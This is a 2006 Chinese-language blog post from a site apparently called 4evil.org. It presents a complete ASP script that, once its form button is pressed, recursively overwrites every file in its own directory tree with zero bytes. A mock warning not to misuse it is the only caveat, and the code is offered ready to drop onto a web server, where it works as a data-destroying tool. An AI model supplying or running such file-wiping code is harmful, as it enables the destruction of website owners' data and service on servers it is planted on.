2006-01-23 22:31:38 by: h4x0r

清空站点目录下所有文件

Font Size: Large | Medium | Small
警告:可别拿它干坏事喔,小心得报应!!
功能:可以清空此文件所在目录的所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
代码:
<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.createObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.createObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=532

There is no comment on this article.

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code